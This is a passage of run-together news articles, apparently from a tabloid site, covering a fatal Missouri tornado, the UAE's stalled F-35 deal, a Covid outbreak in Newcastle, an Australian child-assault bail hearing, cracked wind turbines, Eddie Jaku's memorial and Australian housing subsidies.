kind hearted little girl' as it's revealed the girl's three-year-old sister - who miraculously survived the house crashing down around them - has been released from hospital. Sandra Hooker, 62, says that the girls' mother Meghan Rackley is still clinging to life in a coma after suffering serious brain damage when the tornado, which left a trail of devastation through Kentucky and Missouri last week, struck the Rackley family's home. 'There's nothing left,' she told DailyMail.com, speaking from her home in Caruthersville, a town of 6,000 people in rural Missouri. 'It's splintered. 'Their bodies were covered... there were splinters sticking out of them. 'It's just completely devastated, and strewn across the field.' Meghan, a 32-year-old kindergarten teacher, was sheltering inside along with her husband Trey Rackley, 37, a trucking company dispatcher, and their three daughters - Annistyn, 9; Avalinn, 7; and three-year-old Alanna, known as Lani when the storm struck. Annistyn was killed, while the rest of her family were hospitalized. Trey and Lani have since been released but Avalinn remains in hospital awaiting surgery on her vertebrae and broke her arm, while Meghan remains in a coma. Lani, aged three, was discharged from hospital on Sunday evening Meghan Rackley, 32, is pictured with her husband Trey, 37, and their three daughters - Annistyn, 9; Avalinn, 7; and three-year-old Alanna, known as Lani A photo of Annistyn (in the bathtub with a doll) minutes before the tornado hit the Rackley home. Annistyn Rackley, 9, was at home with her mother Meghan, 32, her father Trey, 37, and her two younger sisters, Avalinn, 7, and Lani, 3, on Friday. Meghan got on top of Annistyn and Ava in the bath, while Trey lay on top of Lani on the floor Sandra Hooker, 62, the great aunt of the girls, spoke to DailyMail.com from her home in Caruthersville The family of five planned for the storm and heeded the warnings, discussing with Hooker - with whom they were very close - where was best to shelter. Meghan Rackley remembered well a 2006 storm that hit the area, Hooker said, and was always cautious. They had only moved into the house, outside of Caruthersville, six days before the storm hit - relocating so that their three daughters could each have their own bedroom. They had yet to unpack when the tornado struck, but Hooker said they had a plan. 'On Friday afternoon we had anticipated that there was going to be some severe weather,' Hooker explained. 'And as per our normal occurrence when there was going to be severe weather, Meghan and I had previously talked about where was going to be their safe place in the new house. 'She told me how they had planned to get into an interior bathroom - no windows. And that would be their safe spot.' Hooker, a teacher for gifted children in Caruthersville, said that she sent a text message to Meghan at 7:23pm, telling her 'that the storms were about 15 minutes out.' Hooker added: 'And she said OK. And then I told her that the sirens here in town started going off, and this is about 10 miles from her new house in the country. 'And so then she texted back that they were in the bathroom. That's when she Snapchatted me the picture of the girls in the bathtub.' The picture shows Annistyn lying in the bathtub clutching her favorite doll, named Baby Maw Maw. She is lying next to three-year-old Lanni, and seven-year-old Ava is standing smiling into the camera. BEFORE THE STORM: Rackley family had moved to this house, about 10 miles outside of Caruthersville, Missouri, on December 4 - less than a week before the storm hit. They wanted each of their three girls to have her own bedroom AFTER THE STORM: The site where the house stood, in between the trees. Trey Rackley's Jeep can be seen in the distance, where it was flung in the storm The remains of the Rackley family home are seen after the tornado hit Mother Meghan Rackley, 32, (left) suffered a brain injury, large cut and several broken bones. The family is asking the community to keep her in their prayers. Father Trey Rackley, 37 - who suffered cuts and bruises - and the youngest daughter, Alanna, 3, (right) have been released from the hospital. The storm left a trail of wreckage in its wake that stretched from Arkansas, where a nursing home was destroyed, to Illinois, where an Amazon distribution center was heavily damaged 'And that was the last I had heard from them, until I had heard their house had been hit,' Hooker said. Hooker heard from another relative that their new home was flattened, and rushed to the hospital. She later learnt the scale of the devastation. 'They lost their new house,' Hooker said. 'They lost every earthly possession they had. 'Their cars were totaled, their clothes are all gone. 'People have been out there picking up pictures and things they can. 'But so many are ripped to shreds, or so that they can't be cleaned. So they aren't getting a lot of stuff. 'So they're going to need money to replace their belongings. 'And insurance is never enough to replace everything. They have insurance. 'The medical bills are going to be astronomical.' Asked what the family needed, Hooker said that they needed prayers. Annistyn was killed in the tragedy, remembered by her great aunt as a shining light in their lives. 'Annistyn was nine years old,' said Hooker. 'Annistyn was a wonderful, loving, kind hearted little girl. 'She loved everybody that she came into contact with. 'She was real active in gymnastics and cheerleading. 'She loved school and she loved going to Sunday school and church. 'And she will be greatly missed by everyone.' Annistyn was remembered as a keen gymnast and a cheerleader, who was kind to everyone The family's possessions are strewn in the mud, many too shredded to be salvageable Debris from the Rackley family home is seen lying in the mud after the storm A huge tree is pictured uprooted on the property in Missouri The tornados blew residents' personal belongings up to 130 miles away, with wind speeds of up to 40 mph Her seven-year-old sister, Avalinn, was found lying in the mud, and later told doctors, according to her great aunt: 'I was flying around in that tornado.' Avalinn reportedly told the medical staff: 'I prayed to Jesus to take care of me. That tornado just spit me out and threw me in the ground, in the mud.' Avalinn is now in Le Bonheur Children's Hospital in Memphis, Tennessee, with surgery scheduled for Wednesday to treat broken vertebrae in her back. Hooker said she was 'in good spirits'. Trey was lying on the floor of the bathroom, on top of three-year-old Lani. She suffered several hairline fractures of vertebrae, but was not going to have to wear a back brace, her great aunt said. Lani was released from hospital on Sunday, the day after her father, who sustained eye injuries but otherwise escaped with cuts and broken bones. The girls' mother, Meghan, remains in intensive care in hospital, in Cape Girardeau. They are hoping to transfer her to Memphis, but have been unable to do so so far. Meghan was lying on top of Annistyn and Avalinn in the bath when the storm hit. Annistyn is pictured for the family's 2021 Christmas portrait The Rackley girls (from left) Avalinn, Alanna and Annistyn posing for a family Christmas photo Hooker shows off a drawing by Annistyn, who died in Friday's tornado A photo of a young Meghan Rackley on Sandra Hooker's refridgerator 'Meghan is fighting for her life,' said Hooker. 'Her injuries were catastrophic. 'The most severe one is what they call Diffuse Axonal Injury - which is a traumatic brain injury. 'And they described it as being like shaken baby syndrome. 'So she has been unresponsive. She has several other very severe injuries. 'But that's the most severe at this point in time.' Both Meghan's lungs have collapsed, and she is now breathing with the aid of a tracheotomy. 'The most important thing we need right now is prayers that Meghan will wake up,' said Hooker. 'That God will give us a miracle and heal her body. 'That is, sincerely, our greatest need this time. 'Lani and Trey and Ava, they have injuries. But not as serious as Meghan's. 'And they need prayers as well. 'But our gravest need is for God to give us a miracle for Meghan.' She said that photos of Ava Rackley were found 100 miles away. President Biden's administration put the deal on hold after he took office, in part due to criticism of the UAE and Saudi Arabia over their yearslong war in Yemen The United Arab Emirates has informed the United States that it will suspend discussions to acquire F-35 fighter jets as part of a $23 billion deal that also includes drones and other advanced munitions. The sale of 50 F-35 warplanes made by Lockheed Martin to the UAE had slowed amid concerns in Washington over Abu Dhabi's relationship with China, including use of Huawei 5G technology in the country. 'Technical requirements, sovereign operational restrictions, and cost/benefit analysis led to the re-assessment,' a UAE official said to the Wall Street Journal. 'The U.S. remains the UAE's preferred provider for advanced defense requirements and discussions for the F-35 may be re-opened in the future,' the official said, adding there were discussions to 'address mutual defense security conditions for the acquisition'. A person briefed on the negotiations said for several months sticking points between the United States and the UAE revolved around how the stealthy jets can be deployed and how much of the sophisticated F-35 technology the Emiratis will be allowed to take advantage of. It is a rare dispute between Washington and a key U.S. ally in the Persian Gulf. The person asked not to be identified by name or by association with either country. The UAE had signed an agreement to purchase 50 F-35 jets and up to 18 armed drones and a package of air-to-air and air-to-ground munitions, people familiar with the situation explained in January, at the end of former President Donald Trump's administration. The United Arab Emirates suspended talks on a $23 billion deal to purchase American-made F-35 planes, armed drones and other equipment The proposed sale of 50 F-35s to the UAE came at the end of former President Donald Trump's administration The deal also saw the Emiratis formally recognize Israel. President Joe Biden's administration put the deal on hold after he took office, in part due to criticism of the UAE and Saudi Arabia over their yearslong war in Yemen, which has sparked one of the world's worst humanitarian crises and continues today. Emirati officials blame an American insistence on restrictions on how and where the F-35s could be used and say they are a violation of the UAE's sovereignty. The country has long worked with the U.S. on counterterrorism and allowed the entry of people fleeing Afghanistan during the chaotic U.S. withdrawal earlier this year. But tensions between Washington and Abu Dhabi have risen over the UAE's growing cooperation with China. Last week, a top Emirati diplomat acknowledged the UAE stopped construction on a Chinese facility at an Abu Dhabi port that America considered a military base. 'We took these American concerns into consideration and we stopped the work on the facilities,' the diplomat, Anwar Gargash, told a meeting of the the Arab Gulf States Institute in Washington. 'But our position remains the same, that these facilities were not really military facilities.' Emirati embassy in Washington said it would 'suspend discussions' with the U.S. Pictured, a model F-35 stealth fighter jet on display at the Lockheed Martin stand at the Dubai Air Show in Dubai in November Earlier, at the Pentagon, spokesman John Kirby had said the U.S. partnership with the UAE was more strategic and complex than a weapons sale and Washington was committed to working with Abu Dhabi to address their questions. 'We will always insist, as a matter of statutory requirements and policy, on a variety of end use requirements,' Kirby said, telling reporters that U.S. requirements on the use of American-made military equipment 'are universal, non-negotiable, and not specific to the UAE.' 'The U.S. partnership with the UAE is more strategic and more complex than any one weapon sale,' Kirby said. He added that a meeting between U.S. and UAE officials at the Pentagon later this week was set to be about broad topics but anticipated that the weapons sale would come up. Kirby referred questions about details of specific arms sales to the State Department. A person familiar with the matter said the U.S. believes the Emiratis' move now is a negotiating tactic to try to move the process along. They said the UAE letter notifying the U.S. of the suspension was written by a relatively low-level official. A State Department official, speaking on the condition of anonymity, said that the Biden administration was committed to the proposed sales of the F-35 aircraft along with the MQ-9B and munitions. 'We are hopeful that we can work through any outstanding issues,' the official said. Lockheed Martin Corp referred requests for comment to the U.S. and UAE governments. The UAE, one of Washington's closest Middle East allies, had long expressed interest in acquiring the stealthy F-35 jets, and was promised a chance to buy them in a side deal when it agreed to normalize relations with Israel in August 2020. A major music festival will go ahead in Newcastle this weekend despite fears it will be a 'superspreading' event after more than 200 new positive Covid cases were confirmed in the same city. The Lunar Electric festival, described as Australia's 'biggest homegrown hip hop/EDM (electronic dance music) festival', will bring thousands of young people together at Camp Shortland, near Nobby's Beach east of the CBD this Saturday. Attendees were unclear whether the festival would go ahead after 200 new Covid cases - many believed to be the Omicron variant - were linked to the Argyle House nightclub. But on Wednesday the organisers issued a release saying the event will proceed as NSW eased restrictions. 'We'll be taking extra precautions to help make the event as safe as possible,' the statement read. 'That mean we'll be getting everyone to check in, mask wearing will be encouraged when not social distancing, eating or drinking.' Organisers said rapid testing would be used on anyone presenting with Covid symptoms. The festival had already been rescheduled to this Saturday's date due to Covid restrictions. The Lunar Electric festival, described as Australia's 'biggest homegrown hip hop/EDM (electronic dance music) festival', will bring thousands of young people together at Newcastle's Camp Shortland, near Nobby's Beach east of the CBD Acts such as Bliss N Eso, Dimatik, Joel Fletcher and Sunset Bros are headlining the festival, with attendees paying more than $100 for a general admission ticket and over $200 for VIP admission Last week organisers announced the Newcastle event was sold out. It will feature acts such as Bliss N Eso, Dimatik, Joel Fletcher and Sunset Bros, with attendees paying more than $100 for a general admission ticket and over $200 for VIP admission. The announcement the festival will go ahead a number provoked a strong reaction online from people who believed the event should be postponed or refunds provided to those who no longer want to attend in the wake of the outbreak in the city north of Sydney. 'What a joke, can just imagine all the positive cases by Monday! At least let people get refunds that don't wanna risk going,' one person posted. 'Hope y'all like being in lockdown for Christmas,' another person posted. 'So you guys are going to test every single individual that is going to walk through the gates with a rapid antigen test? If that's the case fine but if not you guys will be the most notorious super spreading event in NSW,' one person wrote underneath the Facebook post announcing the event is still on. 'How dumb is it that they are still having this festival with the Newy outbreak,' wrote another person. 'How dumb is it that they are still having this festival with the Newy outbreak,' one person posted on Lunar Electric's Facebook page Attendees were unclear whether the festival will go ahead after 200 new Covid cases were linked to the Argyle House nightclub in Newcastle (ictured), with many of those believed to have the highly infectious Omicron strain Police are currently investigating a positive Covid case who attended the Newcastle nightclub when they were meant to be in isolation, sparking the massive outbreak. Many of those infected are believed to have the highly infectious Omicron strain, but further testing is underway to confirm. On Tuesday, NSW Health Minister Brad Hazzard referred the reveller who attended the Argyle House nightclub in Newcastle to authorities, alleging they were under an order to self isolate and absconded quarantine. 'Out of the roughly 650 to 680 people that were there at the club on Wednesday 8th December there's now more than 200 patrons who are positive to Covid,' Mr Hazzard told Nine News. The outbreak is linked to a boat party five nights earlier on Sydney Harbour where at least five people caught the virus. Christmas and end of year celebrations are being given the blame for the sudden surge in cases in NSW. Despite the spike in cases, NSW Premier Dominic Perrottet said he has no plans to implement anymore lockdowns. On Wednesday Mr Hazzard warned NSW could see as many as 25,000 Covid-19 cases a day in January if current infection levels are maintained. Cases have more than quadrupled in a week, and Wednesday's 1,360 infections is the first time in months the state has recorded more than a thousand new cases in a single day. Mr Hazzard said the reproductive rate of the virus was more than 1.5, with infection numbers close to doubling every two to three days. 'The simple maths...is by the end of January we could be looking at 25,000 cases every single day,' he said, referencing modelling from the University of NSW. 'On my maths that's about 175,000 in a week. On Wednesday NSW Health Minister Brad Hazzard warned NSW could see as many as 25,000 Covid-19 cases a day in January if current infection levels are maintained NSW Chief Health Officer Dr Kerry Chant urged residents in the state to 'limit' their activities over the Christmas period as cases skyrocket and the Omicron variant wreaks havoc in the community. On Wednesday NSW lifted rules surrounding masks and QR check-in codes with face coverings only mandatory on public transport and in planes and airports. When asked why the rules were lifted amid a spike in cases, Dr Chant said from a 'public health position', she strongly recommended people continue wearing masks. 'My clear advice is that in indoor settings people should be wearing masks, I feel personally it does reduce the risk and gives a lot of people comfort as they move around,' she said. A man allegedly bashed his girlfriend's toddler so badly she was found in a 'lifeless' state with bleeding on her brain. Benjamin Stockdale, 37, is accused of causing the girl 'horrendous' injuries including a brain bleed and haemorrhages behind both eyes, 'rendering her lifeless'. The 22-month-old also suffered swelling to multiple areas of her face, a laceration to the back of her head and skull fracture in the alleged November 12 attack. Stockdale, 37, was the only person home when the child was allegedly set upon, having demanded her mother go to the shops to buy him cigarettes. He allegedly called the woman about 10.30pm, telling her the toddler was injured. Benjamin Stockdale has been denied bail after allegedly bashing his girlfriend's toddler last month in Victoria (stock image) Stockdale allegedly bashed the girl earlier that month while in the shower with her, causing a swollen temple and black eye. He allegedly told the girl's mother she had slipped in the shower of their home in Traralgon, about two hours east of Melbourne. A month earlier he allegedly also attacked his girlfriend, punching her in the stomach after she revealed she was pregnant. Two days later she miscarried, but it was unknown if the assault contributed. He was on a community corrections order at the time of the alleged attacks, having been released from prison in February. Stockdale pleaded to be released on bail via videolink in Latrobe Valley Magistrates Court on Wednesday, facing 22 charges including intentionally causing serious injury and assault. Police told the court Stockdale enlisted his parents to stop the mother from speaking to police and was continuing to 'manipulate and intimidate' his partner. Detective Senior Constable Christine Walsh told the court Mr Stockdale's family passed on messages to the girl's mum imploring her to not talk to police. 'The family were encouraging her not to talk to us at all,' she said. Magistrate Alanna Duffy stated Mr Stockdale was a 'high risk' when it came to potentially endangering the public following the alleged assault, with bail denied (pictured, Latrobe Valley Magistrates Court in Victoria) His sister offered $100,000 to secure his freedom and his mother vowed to turn him in to authorities if he breached his bail conditions, despite allegations she helped him to breach previous court orders. Magistrate Alanna Duffy refused to grant the man bail on Wednesday, finding his release would pose an unacceptable level of risk to his partner and the community. She found there was a 'high risk' of the man committing further offences, particularly family violence offences. 'I find that there is an unacceptable risk of the applicant committing further offences, endangering the safety and welfare of the public and interfering with witnesses,' she said. 'I am not satisfied that there are any bail conditions that can be imposed that would ameliorate those risks to an acceptable level.' Ms Duffy said the charge of intentionally causing serious injury would attract 'a lengthy custodial sentence'. Stockdale was remanded in custody and will face court again on April 8. Chinese-made wind turbines on Australia's biggest wind farm have cracked, sparking outrage that the project didn't use locally made machinery. Nineteen of 40 turbines inspected at the Stockyard Hill wind farm, in Victoria's central highlands, are defective and will take months to fix, according to the Australian Manufacturing Worker's Union. Another 109 turbines were yet to be inspected and it was feared they could also be damaged. Tens of Chinese-made wind turbines on Australia's biggest wind farm have cracked, earning the federal government a stinging rebuke for not insisting the project use locally-made machinery A model shows Xinjiang Goldwind Science & Technology Co. Ltd. wind farms in China. Goldwind Australia is a part of the giant multinational firm, headquartered in Beijing The massive wind farm, which is Australia's biggest, was operating for less than five months. The AMWU, which found the damage in inspections, savaged the federal government for not forcing the project's developers to buy Australian-made turbines. 'The federal government sat on it's hands while our largest wind farm imported towers from China instead of supporting local jobs,' it said. 'Shame on the federal government for not mandating local content.' The project was started by Windpower Australia, then sold to Origin Energy, which sold it to Xinjiang Goldwind, a Chinese-owned company, for $110 million. Goldwind, which owns or operates nine wind and solar farms in Australia, is part of Xinjiang Goldwind Science & Technology Co, the world's biggest wind turbine manufacturer, based in Beijing. Nineteen of 40 turbines inspected at the Stockyard Hill wind farm, which only commenced operation in Victoria's central highlands in July, are cracked and will take months to fix The cracks to the turbines are on the top of the unit behind the blades - pictured above - which houses key mechanics Goldwind is listed on the Hong Kong and Shenzhen stock exchanges, but 40 per cent of its top 10 investors are owned by the ruling Chinese Communist Party Origin is contracted to buy 530MW of power from Goldwind until 2030 for up to 425,000 Victorian homes from the wind farm. It was completed in 2020 and only began operation in July this year. The union insisted Australian manufacturers should be 'front and centre' in green energy projects. 'Earlier this year workers from local wind tower manufacturer Keppel Prince met with local member [Trade Minister] Dan Tehan to urge him to mandate local content in major projects like wind farms. 'He did nothing.' The union found the damage, which is on the 'top cover housing key mechanics' behind the blades, when it inspected the turbines. It claims repairs will take up to 76 weeks 'and they still haven't inspected all of the towers'. A further 109 turbines are yet to be inspected. The AMWU inspected 40 of the Chinese-made turbines and found cracks in 19 of them It's been revealed that there are major cracks in wind towers at Stockyard Hill wind farm - Australia's largest wind... Posted by AMWU - Australian Manufacturing Workers' Union on Tuesday, December 14, 2021 AMWU national secretary Steve Murphy claimed there was an obsession with cutting costs by buying cheap 'imported trains, buses, trams, ferries', The Australian reported. 'If you repeatedly cut corners to save money, you end up with a market flooded with cheap products that are poor quality and aren't fit for purpose,' he said. Mr Murphy said locally-made turbines would have provided more jobs for Australians and supported a green energy industry here. Stockyard Hill Wind Farm confirmed in a statement that the turbines had 'defects', but said its operations were not affected. 'We are working with the supplier on a rectification of the issue in accordance with prudent engineering and safety standards,' general manager Jackson Hill said. The company claimed the project employed more than 400 workers including many Australian subcontractors. It said 'employees of local companies' worked on erecting the towers, while '140 tower sections' were locally made. Advertisement Eddie Jaku, a Holocaust survivor who declared he was the 'happiest man on earth', has been farewelled at a state memorial service in Sydney. Dignitaries including NSW Governor Margaret Beazley, Premier Dominic Perrottet and a raft of state and federal politicians, including Treasurer Josh Frydenberg, turned out at the Town Hall to honour the man many considered a national treasure. Born in Germany in 1920 to a Jewish family, Mr Jaku witnessed the rise of the Nazis and survived the horrors of Buchenwald concentration camp before being sent to Auschwitz where his parents were murdered. After defying the odds by surviving the war and despite the horrors he had witnessed, the teenager decided the best revenge would be to enjoy life and vowed to smile every day. Eddie Jaku, a Holocaust survivor who declared he was the 'happiest man on earth', has been farewelled at a state memorial service in Sydney (pictured) His wife of 75 years Flore Jaku (pictured, middle) attended the service held at the Sydney Town Hall on Wednesday Dignitaries including NSW Governor Margaret Beazley, Premier Dominic Perrottet (pictured) and a raft of state and federal politicians paid tribute to the 101-year-old Holocaust survivor He moved to Australia and helped establish the Sydney Jewish Museum, where he volunteered, determined to teach about the dangers of intolerance. The father, grandfather and great-grandfather marked his 100th birthday by releasing his best selling autobiography 'The Happiest Man On Earth'. 'As long as I live, I'll teach not to hate,' he wrote. His son Michael told mourners on Wednesday his father was a charismatic optimist who loved the limelight. 'After attaining his unrestricted driver's licence at age 100, he was proud to announce that having been offered a one year or a three year licence. He opted for the three years.' Mr Perrottet described Mr Jaku as 'a man who would have been entitled to look back with bitterness and anger but whose legacy of remembrance is instead built on hope'. The father, grandfather and great-grandfather marked his 100th birthday by releasing his best selling autobiography 'The Happiest Man On Earth' (pictured) Mr Jaku moved to Australia and helped establish the Sydney Jewish Museum, where he volunteered, determined to teach about the dangers of intolerance (pictured, men sing at the state memorial service) His son Michael (pictured) told mourners on Wednesday his father was a charismatic optimist who loved the limelight Mourners were told Mr Jaku had loved humanity and gave us his story to share to put right the wrongs of the past' during a speech made by one of his two sons Michael Jaku 'He turned suffering into strength,' he said. 'He loved humanity and gave us his story to share to put right the wrongs of the past.' In 2013 Mr Jaku was awarded an OAM for his contribution to Holocaust education and services to the Jewish Community. As a 99-year-old he gave a TEDx talk in Sydney about his extraordinary life. He died on October 12, aged to 101 and is survived by his wife of 75 years Flore, two sons, four grandchildren and five great-grandchildren. Prime Minister Scott Morrison announced his death and described Mr Jaku an 'inspiration and a joy'. In 2013 Mr Jaku (pictured second from left with wife Flore, and sons Michael (right) and Andre (left) was awarded an OAM for his contribution to Holocaust education and services to the Jewish Community NSW Premier Dominic Perrottet (pictured on stage) spoke during the service also attended by NSW Governor Margaret Beazley and Treasurer Josh Frydenburg 'Having survived the Holocaust, Eddie chose to make his life a testimony of how hope and love can triumph over despair and hate,' he said. 'He will be sadly missed, especially by our Jewish community. He was an inspiration and a joy. 'Shalom Eddie and thank you for your great gift to us all and our sincere condolences to all your loving family and friends.' Mr Jaku was first captured in 1938 and spent years trying to survive in death camps that claimed the lives of millions. He miraculously escaped a death march and was rescued by allied soldiers before he moved to Australia in 1950 to start a new life with his wife Flore, haunted by what he had seen. Honorary Aide-de-Camp Cammander Michael Nipperess (pictured) also attended the packed-out service in Sydney Mr Jaku was first captured in 1938 and spent years trying to survive in death camps that claimed the lives of millions Federal treasurer Josh Frydenberg (pictured) - who attended the packed-out service on Wednesday - paid tribute to the 101-year-old, saying that Australia had 'lost a giant' Federal treasurer Josh Frydenberg - who attended the packed-out service on Wednesday - paid tribute to the 101-year-old, saying that Australia had 'lost a giant'. 'He dedicated his life to educating others about the dangers of intolerance & the importance of hope,' he said. 'Scarred by the past, he only looked forward. May his story be told for generations to come.' Mr Jaku published his book The Happiest Man on Earth last year at the age of 100, after struggling to open up about the horrors he went through. The cover shows his forearm inked with the number given to him during his time held captive in German concentration camps. 'Life is what you want it to be,' he said during a Zoom call with the museum last year. Mr Jaku (pictured) celebrated his 101st birthday in April this year. He said he always made sure to live without hatred Grandchildren Danielle Jaku-Greenfield (left), and Marc Jaku (R), both spoke during the touching service Mr Jaku (right) married his wife-of-75-years Flore (left) on April 20, 1946 - Hitler's birthday 'Life is in your hands. Happiness doesn't fall from the sky. You want to be happy? You can be happy. 'When they put this number on my arm I was condemned to a slow death. And I didn't die and this is grateful.' When Mr Jaku was aged just 13, Adolf Hitler had come into power and he was kicked out of high school because he was Jewish. His father was a mechanical engineer and sent him nine hours away to follow in his footsteps and learn similar skills. After five years of studying and sleeping in an orphanage, Mr Jaku graduated at the top of his class at the age of 18 and decided to return home to visit his parents in November, 1938. He described the decision to surprise his parents for their 20th wedding anniversary as the 'biggest mistake' in his young life, the Sydney Morning Herald reported. After moving to Sydney in 1950, Flore (pictured, middle) worked as a dressmaker and Mr Jaku worked at a garage The Great Synagogue Choir performed at the packed-out service to pay tribute to the inspirational 101-year-old 'He dedicated his life to educating others about the dangers of intolerance & the importance of hope,' Treasurer Josh Frydenberg (right) said of Mr Jaku (left) When he returned home his family had already gone into hiding and after spending the night asleep in his childhood bed, he woke to a group of Nazis beating him. They killed his beloved pet dachshund Lulu, burnt his house down and tried to carve a swastika into his arm. He was taken to Buchenwald while also spending time as a prisoner in other camps in France and Belgium between 1939 and 1941. Over the course of the next few years, Mr Jaku managed to escape the camps on multiple occasions. After one escape, he lived in hiding with his family in an attic similar to that of Anne Frank, but they were eventually found by Belgian police. In 1944 Mr Jaku and his family were sent to Auschwitz where his parents were gassed upon arrival as part of the horrific 'selection' process carried out by the Nazis. Liberal member for Wentworth David Sharma (pictured) also paid tribute to 'one of Australia's greats' on Wednesday Mr Jaku published his book The Happiest Man on Earth last year at the age of 100, after struggling to open up about the horrors he went through (pictured, mourners stand to pay tribute to Mr Jaku) His parents' fate was sealed by the notorious Dr Josef Mengele who carried out horrific experiments on prisoners, earning him the name the Angel of Death. Mr Jaku said after they got off the train to Auschwitz he didn't want to be separated from his father. When the new arrivals were split into two lines - those who could work and those who would be sent to their deaths - he switched lines to be with his dad. 'I was nearly on the truck with my father when one of the stooges standing guard with Mengele said, ''Hey, didn't he tell you this way? Your father goes by truck and you walk into the camp'',' he said. 'I never saw my father again. He sent him and my mother to the gas chamber.' He recalled the horrific screams of fellow prisoners taking their own lives by running into the electrified fence around the camp, and admitted he considered following them at times. After defying the odds by surviving the war and despite the horrors he had witnessed, the Mr Jaku decided the best revenge would be to enjoy life and vowed to smile every day (pictured, his wife Flore (centre) leaves the church) Mr Jaku's son Michael told mourners on Wednesday his father was a charismatic optimist who loved the limelight (pictured, NSW Premier Dominic Perrottet arrives at Sydney Town Hall for the service) But because of his education in engineering, Mr Jaku was labelled an 'economically indispensable Jew' - with the skills he learnt as a young boy ultimately saving his life. He credits his strength to go on to his best friend Kurt Hirschfeld, who endured the horrors of Auschwitz alongside him. 'Having even just one good friend can be your entire world. The best balm for the soul is friendship,' Mr Jaku said. In January, 1945, Mr Jaku and thousands of other inmates were sent on a death march as allied troops approached. Fearing he would be shot by guards, Mr Jaku escaped and hid in a nearby drainpipe and survived off snails and slugs over the next few months while living in a cave. NSW Treasurer Josh Frydenberg (pictured) leaves after the state memorial service He became so sick with cholera and typhoid and weighed just 28kg when he decided to crawl to the nearby highway and submit to his fate. It was then that he was found by American soldiers and taken to hospital where he was told he had just a 35 per cent chance of surviving, the Belfast Telegraph reported. 'In that moment I made a promise that if I lived I would become an entirely new person,' he said. Incredibly, his friend Kurt and his sister Henni both survived. He married his wife-of-75-years Flore on April 20, 1946 - Hitler's birthday. Sydney Jewish Museum CEO Norman Seligman (pictured) speaks during the NSW State Memorial Service Despite everything Mr Jaku (pictured) saw and lived through, he made it his mission not to live with hatred. 'You must not hate. Hate is a disease. It destroys your enemy first but you also,' he said But in the years after the war, Mr Jaku struggled to forget the horrors he witnessed under the Nazis, however after the birth of his first son Michael, Mr Jaku said his happiness 'returned in abundance'. After moving to Sydney in 1950, Flore worked as a dressmaker and Mr Jaku worked at a garage. Eventually the pair sold the garage and went into real estate together and only retired in their 90s. Despite everything Mr Jaku saw and lived through, he made it his mission not to live with hatred. 'You must not hate. Hate is a disease. It destroys your enemy first but you also,' he said. Taxpayer-funded subsidies for home buyers have only made baby boomers richer at the expense of younger Australians trying to buy their first home, a new report says. The Labor-aligned McKell Institute think-tank has blasted both side of politics for subsidising home buyers, arguing this has only inflated demand - and prices - without helping people onto the housing ladder. 'Research has shown that demand-side interventions have had limited impacts on home ownership rates,' it said. Taxpayer-funded subsidies for home buyers have made baby boomers richer at the expense of younger Australians trying to buy their first home, a new report says (pictured is an older, prospective buyer of a house at Strathfield in Sydney's inner west) 'Indeed, they have inflated housing prices and exacerbated wealth inequalities by bringing forward the purchase decisions of households ultimately already likely to become eventual home owners.' The federal government has boosted the property sector during the pandemic, from home building grants to mortgage deposit subsidies and help for the big banks. At the start of the pandemic in March 2020, the Reserve Bank of Australia set up the Term Funding Facility to support the housing market. During the next 15 months the RBA - led by baby boomer Governor Philip Lowe - gave $188billion of taxpayers' money to the banks to provide cheap loans. With banks big and small offering fixed mortgage rates of less than two per cent, house prices have surged, with Sydney's median house price spiking by an annual pace of 30.4 per cent to a ridiculously unaffordable $1.5million. Real Estate Institute of Australia data also showed a 23.4 per cent rise in weighted capital city house prices in the year to September to $961,600, marking the fastest annual pace of growth since 2002. Separate figures from CoreLogic showed that in the year to November, house and unit prices across Australia climbed by 22.2 per cent - the fastest pace since 1989. This is ten times the 2.2 per cent growth in average wages. The Labor-aligned McKell Institute think tank has blasted both side of politics for subsidising home buyers, arguing this only inflated demand without boosting home ownership rates (pictured are young women at the Sydney Opera House) 'There are also doubts about the effectiveness of demand-side interventions given that housing prices have grown faster than incomes,' the McKell report said. Annual capital city house price rises SYDNEY: Up 30.4 per cent to $1,499,126 MELBOURNE: Up 23.6 per cent to $1,072,500 BRISBANE: Up 18.5 per cent to $640,000 ADELAIDE: Up 11.1 per cent to $550,000 PERTH: Up 8.3 per cent to $520,000 CANBERRA: Up 22.2 per cent to $895,000 HOBART: Up 30.3 per cent to $710,000 DARWIN: Up 19.9 per cent to $575,500 Source: Real Estate Institute of Australia data for the year to September 2021 Advertisement Australia's mid-point property price of $698,170 is now so dear that even with a 20 per cent mortgage deposit, an average, full-time worker on $90,329, paying off $558,536, would have a debt-to-income ratio of 6.2. The Australian Prudential Regulation considers a debt-to-income ratio of six to be risky, as that is the level where a borrower would struggle to pay their bills, even without a rate rise. Government subsidies were intended to help the young buy their first home. However the number of first-home buyers peaked in January 2021 and have fallen by 30 per cent since, dropping for nine consecutive months to October, Australian Bureau of Statistics housing finance data showed. This was despite the federal government setting up the HomeBuilder scheme early last year which gave $25,000 grants to build a new house and land package worth up to $750,000. The $500million First Home Loan Deposit scheme has also seen taxpayers enable borrowers to take out a mortgage with a deposit of just 5 per cent with the government funding the balance of the 20 per cent deposit. Some federal Liberal MPs, including Tim Wilson, want younger Australians to be able to access their superannuation to be able to stump up for a mortgage deposit. But McKell Institute report authors Chris Leishman, Sumin Kim, Laurence Lester and Peter Rossini said this would further inflate property prices while also diminishing retirement savings. 'Allowing prospective buyers to access between $10,000-30,000 in superannuation savings to allocate towards a house deposit would have no material impact on the overall rate of home ownership,' they said. They argued letting workers access $60,000 from their super to fund a mortgage deposit would cause Melbourne house prices to rise by another 4.6 per cent and cause Hobart house values to surge by another 22.8 per cent. 'In addition to inflating house prices, super-for-housing would lead to increased household indebtedness,' the report said. The book, released in October 2020, centered on Cuomo's early handling of the Covid-19 pandemic in the state Andrew Cuomo has angrily denounced an ethics panel's decision to force him to return the $5.1 million paid for his 2020 book, describing it as 'political hypocrisy and duplicity at its worst'. The former New York governor, 64, was ordered on Tuesday to turn over the proceeds to the state Attorney General's office within the next 30 days, following a probe by a state ethics panel. The profits from Cuomo's 'American Crisis: Leadership Lessons from the COVID-19 Pandemic' came into question in October, when the state's Joint Commission on Public Ethics (JCOPE) announced that it was conducting an internal inquiry, reassessing its initial approval of Cuomo's 2020 book. The ethics agency commission voted 12-1 on Tuesday to order the ousted governor to fork over his memoir's profits to the state Attorney General's office, after multiple investigations found Cuomo used state resources to produce and promote the tell-all book. 'Gov. Cuomo is not legally entitled to retain compensation for any form of outside activity related to the book,' said David McNamara, the commissioner, and a Senate Republican appointee. Cuomo's spokesman Rich Azzopardi condemned the decision, describing it as vengeance orchestrated by Cuomo's political rivals. 'This is political 